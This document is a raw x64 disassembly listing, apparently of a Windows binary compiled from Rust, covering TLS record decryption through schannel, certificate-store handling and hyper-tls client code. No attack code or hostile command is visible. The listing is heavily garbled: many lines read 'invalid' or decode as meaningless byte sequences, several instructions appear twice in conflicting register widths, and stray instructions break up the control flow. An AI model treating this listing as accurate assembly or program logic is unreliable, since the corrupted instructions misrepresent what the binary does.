movabs rax, 0xd00000003
cmovne rdx, rax
test rdx, rdx
jne 0x1400b2fc0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
cmp rcx, rdx
ja 0x1400b3000
add rdi, rcx
mov qword [rsi + 0x78], rdi
mov rax, qword [rsi + 0x110]
mov rdx, rax
sub rdx, rcx
mov r13d, 0
cmovae r13, rdx
mov qword [rsi + 0x110], r13
test rcx, rcx
je 0x1400b2fb3
add rbp, rcx
cmp rax, rcx
ja 0x1400b2e80
jmp 0x1400b2fb3
mov rcx, qword [rsp + 0x20]
mov rdx, r14
mov r8, r13
call fcn.140109710
mov r14, qword [rsi + 0x70]
mov r15, qword [rsi + 0x68]
lea rcx, [r15 + r14]
cmp r13, 2
jae 0x1400b2eb9
jmp 0x1400b2ed0
xor eax, eax
mov rdx, rbp
jmp 0x1400b2fc5
mov eax, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rdi
mov rdx, r14
call fcn.1401082c0
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013d6c0]
mov edx, 0x29
call fcn.140108350
lea r8, [0x14013c840]
call fcn.140108340
int3
sub byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x30
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movabs rax, 0x400000000
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
lea rcx, [rdi + 0xf0]
lea rdx, [rsp + 0x60]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.secur32.dll_DecryptMessage]
cmp eax, 0x90316
jg 0x1400b315d
cmp eax, 0x80090318
je 0x1400b31d7
test eax, eax
jne 0x1400b31c7
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rdi + 0x68]
mov rax, qword [rdi + 0x70]
sub rcx, rdx
mov ebx, dword [rsp + 0x30]
mov r9, rcx
mov qword [rdi + 0x50], 0
add r9, rbx
jb 0x1400b32a9
cmp r9, rax
ja 0x1400b32b8
add rdx, rcx
xor r14d, r14d
cmp qword [rdi + 0x40], rbx
jb 0x1400b3256
xor r15d, r15d
mov rcx, qword [rdi + 0x48]
add rcx, r15
mov r8, rbx
call fcn.140106250
add r15, rbx
cmp dword [rsp + 0x54], 5
mov qword [rdi + 0x50], r15
cmove r14d, dword [rsp + 0x50]
mov qword [rdi + 0x58], 0
mov rcx, qword [rdi + 0x78]
mov rdx, rcx
sub rdx, r14
jb 0x1400b327f
test r14d, r14d
je 0x1400b322f
mov rax, qword [rdi + 0x70]
mov rbx, rax
sub rbx, rdx
jb 0x1400b3297
mov qword [rdi + 0x70], 0
cmp rcx, r14
jne 0x1400b3217
test rax, rax
jne 0x1400b322b
jmp 0x1400b322f
cmp eax, 0x90317
je 0x1400b31e8
cmp eax, 0x90321
jne 0x1400b31c7
xor r14d, r14d
cmp dword [rsp + 0x54], 5
mov dword [rdi + 0xd0], 0x10000
cmove r14d, dword [rsp + 0x50]
mov byte [rdi + 0xd4], 0
mov rcx, qword [rdi + 0x78]
mov rdx, rcx
sub rdx, r14
jb 0x1400b327f
test r14d, r14d
je 0x1400b3206
mov rax, qword [rdi + 0x70]
mov rbx, rax
sub rbx, rdx
jb 0x1400b3297
mov qword [rdi + 0x70], 0
cmp rcx, r14
jne 0x1400b31ee
test rax, rax
jne 0x1400b3202
jmp 0x1400b3206
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x1400b3248
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove eax, dword [rsp + 0x30]
jmp 0x1400b323b
mov byte [rsi + 1], 1
jmp 0x1400b3246
cmp rax, rdx
je 0x1400b3206
mov rcx, qword [rdi + 0x68]
add rdx, rcx
mov r8, rbx
call fcn.140106250
mov qword [rdi + 0x70], rbx
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], 0
jmp 0x1400b3242
cmp rax, rdx
je 0x1400b322f
invalid
adc ecx, dword [rax - 0x75]
push 0x49ca0148
mov eax, ebx
mov rcx, qword [rdi + 0x68]
add rdx, rcx
mov r8, rbx
call fcn.140106250
mov qword [rdi + 0x70], rbx
pop rdi
jo 0x1400b3261
xor eax, eax
test r14d, r14d
rol byte [rbp - 0x7b], 0xf6
sete al
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], rax
xchg dword [rax], edx
add dword [rax], eax
add dh, al
add dword [rax], r8d
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [rdi + 0x40]
mov r15, rdx
xor edx, edx
mov r8, rbx
call fcn.140109710
add eax, 0xfa894c00
fsubr st(0)
test eax, 0x4c000564
add eax, 0xfa894c00
add eax, 0xfa894c00
mov r15, qword [rdi + 0x50]
jmp 0x1400b30ec
lea rcx, [0x140141dcf]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.140108350
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rdx, r9
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r9
mov rdx, rax
call fcn.140108340
int3
je 0x1400b33cc
jmp 0x1400b34d0
mov dword [rsp + 0x24], 1
and al, 0x24
add dword [rax], eax
add byte [rax], al
movabs rax, 0x200000004
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x24]
lea rax, [rsp + 0x24]
lea eax, [rsp + 0x24]
mov qword [rsp + 0x48], rax
movabs rax, 0x100000000
invalid
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsi + 0xf0]
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x28]
call qword [sym.imp.secur32.dll_ApplyControlToken]
test eax, eax
je 0x1400b3428
mov edi, eax
shl rdi, 0x20
shl edi, 0x20
shl edi, 0x20
or rdi, 2
jmp 0x1400b345d
mov dword [rsi + 0xd0], 0x1010000
add byte [rax], al
add dword [rcx], eax
mov byte [rsi + 0xd4], 0
mov qword [rsi + 0x110], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x28]
mov rdx, rsi
call fcn.1400b1dd0
cmp dword [rsp + 0x28], 2
jne 0x1400b34d0
mov rdi, qword [rsp + 0x30]
xor byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14001a570
mov qword [rsi + 0x38], 0
cmp al, 0xd
invalid
jne 0x1400b34da
or eax, 0xf9896975
mov ecx, edi
and ecx, 3
mov eax, 1
cmp ecx, 1
jne 0x1400b34e7
invalid
lea rsi, [edi - 1]
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b34b5
invalid
sbb eax, 0x107f8348
adc dword [rdx + 4], esi
cmp qword [rdi + 0x10], 0x11
jb 0x1400b34a3
mov rbx, qword [rbx - 8]
clc
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or al, 0
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 1
jmp 0x1400b34dc
mov qword [rsi + 0x38], 0
xor edi, edi
xor eax, eax
mov rdx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor edi, edi
jmp 0x1400b34dc
dec esp
int3
sar bh, 0xff
int3
int3
int3
shl r9, 4
nop dword [rax + rax]
test r9, r9
leave
je 0x1400b3572
mov eax, dword [r8 + 0x10]
mov eax, dword [rax + 0x10]
add r8, 0x10
add r9, 0xfffffffffffffff0
test rax, rax
je 0x1400b3550
mov r8, qword [r8 + 8]
mov r9, rax
jmp fcn.1400af240
mov r8d, 1
xor eax, eax
mov r9, rax
jmp fcn.1400af240
mov esp, 0xccccffff
int3
int3
ret 0xe810
call fcn.14003d3b0
mov rax, rsi
mov eax, esi
add rsp, 0x20
pop rsi
ret
int3
and byte [rsi - 0x3d], bl
int3
invalid
int3
test dword [rdi - 0x44], eax
invalid
add ecx, 8
jmp fcn.1400e7610
int3
mov eax, 0
je 0x1400b362b
mov rdx, r8
call fcn.1400b0fd0
nop
add rsp, 0x28
ret
ret 0xc148
add al, ch
clc
add rax, 0xffffffffcccccc00
int3
add ecx, 8
jmp 0x1400e7810
add eax, dword [rax]
add eax, dword [rax]
add r8, 0xfffffffffffffff0
shl r9, 4
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
test r9, r9
je 0x1400b36e2
mov eax, dword [r8 + 0x10]
add r8, 0x10
add r9, 0xfffffffffffffff0
test rax, rax
je 0x1400b36c0
mov r8, qword [r8 + 8]
mov r9, rax
shr ecx, 0x5e
invalid
invalid
invalid
shr ecx, 0x5e
mov ebx, 0xb841ffff
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rcx], dh
ror byte [rcx - 0x77], 0xc1
xor eax, eax
mov r9, rax
jmp fcn.1400af240
cmp dword [rcx], 2
sete al
ret
int3
sub esp, 0x20
mov rsi, rcx
xor eax, eax
cmp dword [rdx], 2
setne al
lea rdx, [rdx + rax*8]
add rdx, 8
call fcn.14003d3b0
dec dword [rax - 0x77]
invalid
add rsp, 0x20
invalid
and byte [rsi - 0x3d], bl
dec dword [rax - 0x77]
invalid
invalid
int3
add byte [rax], al
add byte [rax + 0x48018948], al
mov eax, ecx
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
ret
invalid
int3
int3
int3
invalid
invalid
mov esi, dword [rsi - 8]
clc
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
invalid
pop rdi
sub byte [rdi + 0x5e], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
cmp byte [rdx + 0x10], 0
jne 0x1400b37f4
mov qword [rcx], 3
movups xmm0, xmmword [rdx]
adc byte [rdx], al
add byte [rdi], cl
adc byte [rdx], al
movups xmmword [rcx + 8], xmm0
mov byte [rdx + 0x10], 1
adc byte [rcx], al
add dword [rax - 0x77], ecx
enter 0xffffffffffff8348, 0xffffffffffffffc4
mov rax, rcx
add rsp, 0x28
sub bl, al
sub bl, al
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
call fcn.140108880
int3
int3
movzx eax, byte [rcx + 0x49]
test eax, eax
mov dh, 0x41
test r8, rax
je 0x1400b3865
cmp eax, 3
je 0x1400b384f
cmp eax, 4
jne case.0x1400a88a6.109
add byte [rax], al
movzx eax, byte [rsi + 0x330]
cmp eax, 3
je 0x1400b38dd
add byte [rax], al
add byte [rax], al
test eax, eax
jne 0x1400b3896
lea rcx, [rsi + 0x50]
call fcn.1400ad940
jmp 0x1400b3896
mov rdi, qword [rsi + 0x50]
mov rbx, qword [rsi + 0x58]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
jnp 0x1400b3868
add byte [rbp + 0x16], dh
jnp 0x1400b3868
add byte [rbp + 0x16], dh
jmp 0x1400b3896
mov rdi, qword [rsi + 0x38]
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
cmp byte [rax - 0x75], cl
pop rsi
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b3896
cmp qword [rbx + 0x10], 0x11
jb 0x1400b3884
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x1400b38a6
add byte ds:[rdx + rcx + 0x48], dh
mov ecx, dword [rsi + 8]
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x20], 0
je case.0x1400a88a6.109
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
movzx eax, byte [rsi + 0x200]
cmp eax, 4
je 0x1400b3921
cmp eax, 3
je 0x1400b3900
test eax, eax
jne 0x1400b3896
mov ss, word [rax - 0x18000000]
add byte [rax], al
add al, ch
movabs al, byte [0x208be8396ebffff]
cmp dword [rsi + 0x208], 2
je 0x1400b3936
add byte [rax], al
add dh, byte [rbp + rbp + 0x48]
lea ecx, [rsi + 0x208]
add al, ch
sub esp, dword [rax - 0x79390001]
inc esi
xchg byte [rcx], al
add al, byte [rax]
add byte [rax], al
xchg byte [rcx], al
add al, byte [rax]
add byte [rax], al
jmp 0x1400b3896
invalid
cmp dword [rsi + 0x208], 2
je 0x1400b3936
lea rcx, [rsi + 0x208]
add byte [rax], al
call fcn.1400addd0
mov byte [rsi + 0x201], 0
jmp 0x1400b3896
invalid
invalid
invalid
add dword [rdx], eax
add byte [rax], al
add cl, ch
push rsp
invalid
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xaa8
add byte [rdi], cl
sub dword [rsp + 0xa90], esi
invalid
add byte [rdi], cl
sub dword [rsp + 0xa90], esi
invalid
add byte [rbp - 0x77], cl
invalid
mov r13, r8
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
movzx eax, byte [rdx + 0x49]
lea rcx, [0x140177ef0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
or dword [rax + 1], 0x48e0ffc8
mov edx, dword [rdi + 0x38]
mov rdx, qword [rdi + 0x38]
mov rax, qword [rdi + 0x40]
mov qword [rdi + 0x50], rdx
push rax
push rax
mov qword [rdi + 0x58], rax
jmp 0x1400b39ee
mov dh, 0x87
xor byte [rbx], al
add byte [rax], al
test eax, eax
je 0x1400b3b7f
cmp eax, 3
jne case.default.0x1400b39d5
test eax, edx
adc dword [rax], eax
invalid
adc dword [rax], eax
add byte [rbp + rcx*4 - 0x71], cl
add byte [rdx], al
add byte [rax], al
lea r9, [rdi + 0x200]
movzx eax, byte [rdi + 0x200]
lea rcx, [0x140177f04]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x1400b3a24
mov qword [rsp + 0x58], r9
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x38], r8
jmp 0x1400b40a2
push rdi
push rax
mov rax, qword [rdi + 0x58]
lea rcx, [rsp + 0x140]
mov r8, r13
call qword [rax + 0x18]
mov r14, qword [rsp + 0x140]
cmp r14, 3
jne case.0x140096f06.111
mov qword [rsi], 4
mov al, 3
jmp 0x1400b446e
add byte [rax], al
mov r12, r13
mov r13, qword [rsp + 0x148]
mov rbp, qword [rsp + 0x150]
mov ebp, dword [rsp + 0x150]
and al, 0x50
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x158], al
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x60], xmm0
mov r15, qword [rdi + 0x50]
mov rbx, qword [rdi + 0x58]
mov rcx, r15
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b3a69
cmp qword [rbx + 0x10], 0x11
jb 0x1400b3a57
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
clc
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r14d, 2
jne 0x1400b3b25
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b4b95
out 5, al
add byte [rax - 0x75], cl
adc byte [r9], r14b
sar bh, cl
adc eax, 0x5e6eb
mov ebp, 3
cmp qword [rdi + 0x20], 0
je 0x1400b3ae4
invalid
adc ecx, dword [rbx + rcx*4 + 0x47]
sub byte [rax - 0x75], cl
or eax, 0xce784
mov r8, qword [rdi + 0x28]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rbp
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r15
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], r12
mov qword [rsi + 0x38], rbx
lea rcx, [rsi + 0x40]
lea rdx, [rsp + 0x8c0]
lea edx, [rsp + 0x8c0]
mov r8d, 0xe8
call fcn.140106250
add eax, 0xe901b000
or qword [r8], rax
invalid
add eax, 0xe901b000
or qword [r8], rax
add byte [rax + 0xf00487f], al
test byte [rdi + 8], bl
or byte [rax], al
add byte [rax - 0x75], cl
sub byte [r8 - 0x75], r9b
xor byte [r9 + r9*4 + 0x77], r9b
push rax
cmp byte [rdi + 0x48], 0
je 0x1400b438e
or byte [rax], al
invalid
or byte [rax], al
add byte [rax - 0x75], cl
sub byte [r8 - 0x75], r9b
xor byte [r9 + r9*4 + 0x77], r9b
push rax
mov qword [rdi + 0x58], r13
mov dword [rdi + 0x58], ebp
mov qword [rdi + 0x60], rbp
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rdi + 0x68], xmm0
mov qword [rdi + 0x78], rdi
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
lea r8, [rdi + 0x330]
mov byte [rdi + 0x330], 0
movq xmm0, rdi
movd mm0, edi
movd mm0, edi
movq xmm1, rcx
punpcklqdq xmm0, xmm1
mov r13, r12
in eax, 0xeb
invalid
in eax, 0xeb
or al, 0xf3
movq mm0, qword [rdi + 0x78]
movdqu xmm0, xmmword [rdi + 0x78]
mov rax, qword [rdi + 0x88]
mov rcx, qword [rdi + 0x70]
mov qword [rdi + 0xb0], rcx
mov dword [rdi + 0xb0], ecx
mov dword [rdi + 0xb0], ecx
mov rcx, qword [rdi + 0x50]
mov rdx, qword [rdi + 0x58]
movups xmm1, xmmword [rdi + 0x60]
movups xmmword [rdi + 0xa0], xmm1
mov qword [rdi + 0x90], rcx
mov dword [rdi + 0x90], ecx
mov qword [rdi + 0x98], rdx
movdqu xmmword [rdi + 0xb8], xmm0
xchg dword [rax + 0x48000000], edi
mov dword [rdi + 0xc8], eax
xchg dword [rax + 0x48000000], edi
mov dword [rdi + 0xc8], eax
lea r9, [rdi + 0x200]
mov byte [rdi + 0x200], 0
add al, byte [rax]
add dh, al
xchg dword [rax], eax
add al, byte [rax]
add byte [rax], al
mov byte [rdi + 0x201], 0
mov rax, qword [rdi + 0xc8]
mov qword [rsp + 0x178], rax
movups xmm0, xmmword [rdi + 0xb8]
add byte [rax - 0x75], cl
xchg eax, ecx
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rdi + 0xb8]
movups xmmword [rsp + 0x168], xmm0
mov rax, qword [rdi + 0xb0]
mov qword [rsp + 0x160], rax
movups xmm0, xmmword [rdi + 0x90]
movups xmm1, xmmword [rdi + 0xa0]
movaps xmmword [rsp + 0x140], xmm0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], ecx
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], ecx
movaps xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x5c0], xmm2
movaps xmm3, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x5b0], xmm3
movaps xmmword [rsp + 0x5a0], xmm1
movaps xmmword [rsp + 0x590], xmm0
movups xmmword [rdi + 0x238], xmm2
movups xmmword [rdi + 0x228], xmm3
adc dword [rdi + 0x228], ebx
movups xmmword [rdi + 0x218], xmm1
movups xmmword [rdi + 0x208], xmm0
mov rax, qword [rdi + 0x208]
mov r15, qword [rdi + 0x230]
mov r12, qword [rdi + 0x238]
mov rbx, qword [rdi + 0x240]
mov qword [rdi + 0x208], 2
cmp rax, 2
je 0x1400b4b40
movups xmm0, xmmword [rdi + 0x210]
movups xmm1, xmmword [rdi + 0x220]
movups xmmword [rsp + 0xa8], xmm1
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], r13
mov qword [rsp + 0xb8], r13
movabs rax, 0x8000000000000000
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x488], 0
mov qword [rsp + 0x490], 8
mov qword [rsp + 0x498], 0
movzx eax, byte [r15 + 0x1c]
movzx ecx, byte [r15 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx edx, dl
mov ecx, 4
cmovb ecx, edx
movzx r14d, cl
cmp al, 5
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x58], r9
jne 0x1400b3d4d
lea r13, [0x14013b960]
jmp 0x1400b3d6d
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r13, [0x14013b960]
add r13, rax
sub r14, rax
je 0x1400b41d4
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400dfbe0
test rax, rax
je 0x1400b4b64
mov rbp, rax
mov rcx, rbp
mov rdx, r13
mov r8, r14
call fcn.140106250
mov qword [rsp + 0x4b8], r14
mov qword [rsp + 0x4c0], rbp
mov qword [rsp + 0x4c8], r14
cmp qword [r15], 0
je 0x1400b3df9
mov rcx, qword [r15 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov r13, qword [rsp + 0x498]
cmp r13, qword [rsp + 0x488]
jne 0x1400b3de2
lea rcx, [rsp + 0x488]
call fcn.1400e72a0
mov rax, qword [rsp + 0x490]
mov qword [rax + r13*8], r14
inc r13
mov qword [rsp + 0x498], r13
lea rcx, [rsp + 0x488]
call fcn.1400cf0c0
mov r14, rdx
test rax, rax
je 0x1400b3e54
mov rax, qword [rsp + 0x4a0]
shl rax, 1
test rax, rax
jne 0x1400b3f34
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
jne 0x1400b3f5f
mov r15, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x498]
test rbx, rbx
jne 0x1400b3f8b
jmp 0x1400b3faf
movabs rax, 0x8000000000000000
mov qword [rsp + 0x3a8], rax
mov word [rsp + 0x3e8], 1
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3c0], rax
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x398], 1
mov qword [rsp + 0x3a0], rax
lea rcx, [rsp + 0x398]
mov rdx, r12
mov r8, rbx
call fcn.1400cf2e0
movzx eax, byte [r15 + 0x18]
mov byte [rsp + 0x3e8], al
movzx ecx, byte [r15 + 0x19]
mov byte [rsp + 0x3e9], cl
cmp byte [r15 + 0x1a], 0
je 0x1400b4490
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b4bb3
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
movabs rbx, 0x8000000000000000
je 0x1400b451e
lock dec qword [rcx]
lea r15, [0x140141ed8]
je 0x1400b44fb
jmp 0x1400b452e
mov r8, qword [rsp + 0x4a8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
je 0x1400b3e36
mov r8, qword [rsp + 0x4c0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x498]
test rbx, rbx
je 0x1400b3faf
xor r12d, r12d
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [r15 + r12*8]
inc r12
call r13
cmp rbx, r12
jne 0x1400b3fa0
cmp qword [rsp + 0x488], 0
je 0x1400b3fcc
mov r13d, 2
mov rbx, r14
lea r15, [rdi + 0x208]
mov byte [rdi + 0x201], 1
mov qword [rdi + 0xd0], r13
mov qword [rdi + 0xd8], rbx
mov qword [rdi + 0xe0], r14
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movups xmmword [rdi + 0xe8], xmm0
movups xmmword [rdi + 0xf8], xmm1
mov rax, qword [rsp + 0xe0]
mov qword [rdi + 0x108], rax
mov qword [rdi + 0x110], 0
lea r12, [rdi + 0x118]
lea rdx, [rsp + 0x6f0]
mov r8d, 0xe8
mov rcx, r12
call fcn.140106250
cmp dword [rdi + 0x208], 2
je 0x1400b4072
mov rcx, r15
call fcn.1400ad940
mov r13, qword [rdi + 0xd0]
test r13, r13
je 0x1400b415d
lea rdx, [rdi + 0xd8]
cmp r13, 1
jne 0x1400b41c7
mov r8d, 0x128
mov rcx, r15
call fcn.140106250
mov r13, qword [rsp + 0x88]
mov rbx, qword [rdi + 0x208]
mov qword [rdi + 0x208], 2
cmp rbx, 2
je 0x1400b4b71
lea rax, [rdi + 0x210]
lea r15, [rdi + 0x248]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rsp + 0x298], xmm2
movups xmmword [rsp + 0x288], xmm1
movups xmmword [rsp + 0x278], xmm0
lea rcx, [rsp + 0x2b0]
mov r8d, 0xe8
mov rdx, r15
call fcn.140106250
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x2a8], r13
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x270]
call fcn.1400b4c00
cmp qword [rsp + 0x140], 0
mov rbp, qword [rsp + 0x148]
mov r14, qword [rsp + 0x150]
je 0x1400b41e1
cmp rbp, 2
jne 0x1400b43ab
mov ebp, 2
jmp 0x1400b427c
mov rbp, qword [rdi + 0xd8]
mov r14, qword [rdi + 0xe0]
mov r13, qword [rdi + 0xe8]
mov r15, qword [rdi + 0xf0]
movups xmm0, xmmword [rdi + 0xf8]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rdi + 0x108]
mov rbx, qword [rdi + 0x110]
lea rcx, [rsp + 0x7d8]
mov r8d, 0xe8
mov rdx, r12
mov r12, rax
call fcn.140106250
mov word [rdi + 0x200], 1
cmp rbp, 3
jne 0x1400b42c6
jmp 0x1400b445d
mov r14, qword [rdx]
mov ebp, 2
jmp 0x1400b42bb
mov ebp, 1
xor r14d, r14d
jmp 0x1400b3d8a
mov r13, qword [rsp + 0x158]
mov r15, qword [rsp + 0x160]
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x178]
lea rdx, [rsp + 0x180]
lea rbx, [rsp + 0x5d8]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x398]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x580], xmm0
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x488]
mov r8d, 0xe8
call fcn.140106250
cmp rbp, 3
je 0x1400b4455
lea rbx, [rdi + 0x208]
movaps xmm0, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x7d8]
lea rdx, [rsp + 0x488]
mov r8d, 0xe8
call fcn.140106250
cmp dword [rbx], 2
je 0x1400b42bb
mov rcx, rbx
call fcn.1400addd0
mov word [rdi + 0x200], 1
xor ebx, ebx
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x570], xmm0
lea rcx, [rsp + 0x9a8]
lea rdx, [rsp + 0x7d8]
mov r8d, 0xe8
call fcn.140106250
mov rax, qword [rsp + 0x38]
mov byte [rax], 1
